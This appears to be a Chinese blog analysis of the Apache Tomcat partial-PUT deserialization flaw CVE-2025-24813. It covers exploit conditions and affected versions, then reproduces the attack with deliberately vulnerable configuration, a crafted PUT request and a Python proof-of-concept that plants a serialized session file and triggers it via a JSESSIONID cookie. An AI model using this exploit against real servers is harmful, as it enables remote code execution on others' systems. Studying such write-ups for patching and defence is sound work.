Apache Tomcat CVE-2025-24813 安全漏洞

Apache Tomcat CVE-2025-24813被广泛利用,但是他必须要满足两个点:

1.被广泛的使用,并且部署在服务器中。

2.漏洞必须依赖在服务器中的配置。

并且漏洞补丁已经发布。

漏洞攻击方式:

  • CVE-2025-24813 是 Apache Tomcat 部分 PUT 功能中未经身份验证的远程代码执行漏洞,于 2025 年 3 月 10 日披露。已提供修复版本。
  • 在特定情况下,成功利用该漏洞攻击者可以通过不安全的反序列化在目标系统上远程执行代码。
  • 漏洞详细信息和概念验证(PoC)漏洞代码均已公开。
  • 根据我们和其他研究公司的分析,成功利用所需的条件似乎是具体的、非默认的和不常见的。
  • 据报告, CVE-2025-24813 已被野外利用;然而,Rapid7 无法确认在实际生产环境中是否发生过任何成功的利用。我们认为,在这种情况下,"利用"可能意味着未成功的利用尝试,而不是成功入侵生产系统。
  • 鉴于特定的易受攻击的配置要求(见Exploitability requirements下文),大规模利用的可能性不大。

漏洞可利用条件:

根据该建议,如果以下所有情况都成立,攻击者可以查看安全敏感文件和/或向这些文件中注入内容:

  • 为默认 servlet 启用写入(默认情况下禁用)
  • 支持部分 PUT(默认启用)
  • 安全敏感上传的目标 URL 是公开上传的目标 URL 的子目录
  • 攻击者知道正在上传的安全敏感文件的名称
  • 安全敏感文件也通过部分 PUT 上传

如果以下所有情况都成立,攻击者就可以实现远程代码执行:

  • 为默认 servlet 启用写入(默认情况下禁用)
  • 支持部分 PUT(默认启用)
  • 应用程序使用 Tomcat 基于文件的会话持久性(默认禁用)和默认存储位置
  • 应用程序包含一个可能被反序列化攻击利用的库(很多 Java 应用程序都存在这种情况)

受影响版本:

  • Apache Tomcat 11.0.0-M1 to 11.0.2
  • Apache Tomcat 10.1.0-M1 to 10.1.34
  • Apache Tomcat 10.1.0-M1 to 10.1.34

漏洞重现:

提供静态资源的默认 servlet 必须处于非默认的"readonly=false"配置中。 我们将在 web.xml 文件中定义它。

XML 复制代码
<servlet>
        <servlet-name>default</servlet-name>
        <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
        <init-param>
            <param-name>debug</param-name>
            <param-value>0</param-value>
        </init-param>
        <init-param>
            <param-name>listings</param-name>
            <param-value>false</param-value>
        </init-param>

        <!-- vuln -->
	<init-param>
          <param-name>readonly</param-name>
          <param-value>false</param-value>
        </init-param>
	<!-- vuln -->

	<load-on-startup>1</load-on-startup>
    </servlet>

这种配置可能相对不常见。为了获得真实证据,我们可以使用开源github来搜索具有此配置的存储库。根据结果,只有少数在 GitHub 上公开发布的开源 Tomcat 项目使用此配置(大约 200 个),并且大多数都有<30星标。而且还需要额外配置才能建立可利用环境。我们需要修改 Tomcat 安装的context.xml文件以启用基于文件的会话持久性,根据tomcat指出,这是实例易受攻击的必要条件。修改后的文件如下所示(标有"vuln")。

XML 复制代码
<Context>
    <!-- Default set of monitored resources. If one of these changes, the    -->
    <!-- web application will be reloaded.                                   -->
    <WatchedResource>WEB-INF/web.xml</WatchedResource>
    <WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
    <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>

    <!-- Uncomment this to enable session persistence across Tomcat restarts -->
    <!--
    <Manager pathname="SESSIONS.ser" />
    -->

    <!-- vuln -->
    <Manager className="org.apache.catalina.session.PersistentManager" maxIdleBackup="1" saveOnRestart="true" processExpiresFrequency="1">
        <Store className="org.apache.catalina.session.FileStore"/>
    </Manager>
    <!-- vuln -->

</Context>

触发漏洞条件:

复制代码
PUT /dummy HTTP/1.1
Host: 192.168.1.2:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
If-Modified-Since: Mon, 17 Mar 2025 17:08:23 GMT
If-None-Match: W/"1905-1742231303122"
Priority: u=0, i
Content-Range: bytes 1-1/15
Content-Length: 1

我们收到 204 响应(尽管此状态代码根据 Tomcat 配置和目标应用程序而有所不同)。

复制代码
HTTP/1.1 204 
Date: Mon, 17 Mar 2025 17:21:51 GMT

然后我们去tomcat 目录下查证

bash 复制代码
# ls -la /var/lib/tomcat10/work/Catalina/localhost/ROOT
total 12
drwxr-x--- 2 tomcat tomcat 4096 Mar 17 17:21 .
drwxr-x--- 3 tomcat tomcat 4096 Mar 17 17:15 ..
-rw-r----- 1 tomcat tomcat   15 Mar 17 17:21 .dummy

# cat /var/lib/tomcat10/work/Catalina/localhost/ROOT/.dummy

现在我们可以将 .session 文件(一个序列化的 Java 对象)写入根目录。我们可以通过精心设计的 JSESSIONID 标头提示 Tomcat 使用序列化对象。

分享了一个概念验证漏洞。我们的该脚本的测试副本如下。

python 复制代码
import requests

TARGET_IP = "http://192.168.1.2:8080/"

put_url = f"{TARGET_IP}/gopan.session"
put_headers = {"Content-Range": "bytes 0-5/100"}

with open('/tmp/payload.bin', "rb") as f:
    put_response = requests.put(put_url, data=f, headers=put_headers)

get_url = f"{TARGET_IP}/"
get_headers = {"Cookie": "JSESSIONID=.gopan"}
get_response = requests.get(get_url, headers=get_headers)
print(get_response.status_code ,get_response.text)

运行这个脚本:

python 复制代码
$ python3 poc.py
500 <!doctype html><html lang="en"><head><title>HTTP Status 500 -- Internal Server Error</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 -- Internal Server Error</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> class java.util.HashMap cannot be cast to class java.lang.Long (java.util.HashMap and java.lang.Long are in module java.base of loader &#39;bootstrap&#39;)</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfilling the request.</p><p><b>Exception</b></p><pre>java.lang.ClassCastException: class java.util.HashMap cannot be cast to class java.lang.Long (java.util.HashMap and java.lang.Long are in module java.base of loader &#39;bootstrap&#39;)
org.apache.catalina.session.StandardSession.doReadObject(StandardSession.java:1347)
org.apache.catalina.session.StandardSession.readObjectData(StandardSession.java:985)
[..SNIP..]
相关推荐
海兰12 分钟前
使用 Spring AI 打造企业级 RAG 知识库第二部分:AI 实战
java·人工智能·spring
历程里程碑29 分钟前
二叉树---二叉树的中序遍历
java·大数据·开发语言·elasticsearch·链表·搜索引擎·lua
小信丶42 分钟前
Spring Cloud Stream EnableBinding注解详解:定义、应用场景与示例代码
java·spring boot·后端·spring
无限进步_1 小时前
【C++】验证回文字符串:高效算法详解与优化
java·开发语言·c++·git·算法·github·visual studio
亚历克斯神1 小时前
Spring Cloud 2026 架构演进
java·spring·微服务
七夜zippoe1 小时前
Spring Cloud与Dubbo架构哲学对决
java·spring cloud·架构·dubbo·配置中心
海派程序猿1 小时前
Spring Cloud Config拉取配置过慢导致服务启动延迟的优化技巧
java
阿维的博客日记1 小时前
为什么不逃逸代表不需要锁,JIT会直接删掉锁
java
William Dawson1 小时前
CAS的底层实现
java
九英里路1 小时前
cpp容器——string模拟实现
java·前端·数据结构·c++·算法·容器·字符串